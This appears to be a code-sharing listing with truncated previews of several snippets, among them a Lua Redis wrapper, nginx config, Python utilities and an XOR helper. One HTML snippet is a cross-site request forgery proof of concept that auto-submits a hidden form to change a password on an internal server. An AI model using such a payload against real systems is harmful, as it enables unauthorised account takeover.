This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
local redis_c = require "resty.redis" | |
local ok, new_tab = pcall(require, "table.new") | |
if not ok or type(new_tab) ~= "function" then | |
new_tab = function (narr, nrec) return {} end | |
end | |
local _M = new_tab(0, 155) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import os | |
import re | |
import sys | |
import wmi | |
def get_memory_info(): | |
computer_system = wmi.WMI().Win32_ComputerSystem() | |
op_system = wmi.WMI().Win32_OperatingSystem() | |
total_mem = int(computer_system[0].TotalPhysicalMemory)/1024/1024 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<head> | |
<title>TEST</title> | |
</head> | |
<body onload="load()"> | |
<form action="http://172.22.54.92:9090/cloud/index.php?r=setting/api/ChangeUnstPwd" target="form_iframe" id="csrf" method="post"> | |
<input type="hidden" name="newPwd" value="DEAD" /> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
worker_processes 1; | |
events { | |
worker_connections 64; | |
} | |
http { | |
send_timeout 1s; | |
server_tokens off; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
--parse content-Type multipart/form-data according to RFC2388. | |
function parse_form_protocol(query_data) | |
local result = {} | |
local boundary = get_boundary() | |
if boundary == nil then | |
return result | |
end | |
boundary = "--" .. boundary | |
local regex = [[name="(\w+)"\s+([\S\s]+?)\s+?]] .. boundary | |
for m in ngx.re.gmatch(query_data, regex) do |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
# -*- coding: utf-8 -*- | |
import random | |
def random_string(length): | |
str = '' | |
for i in range(length): | |
str += chr(random.randint(ord('#'),ord('~'))) | |
return str |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
# -*- coding: utf-8 -*- | |
import itertools | |
def xor(s, key): | |
key = key * (len(s) / len(key) + 1) | |
return ''.join(chr(ord(x) ^ ord(y)) for (x,y) in itertools.izip(s, key)) | |
if __name__ == "__main__": |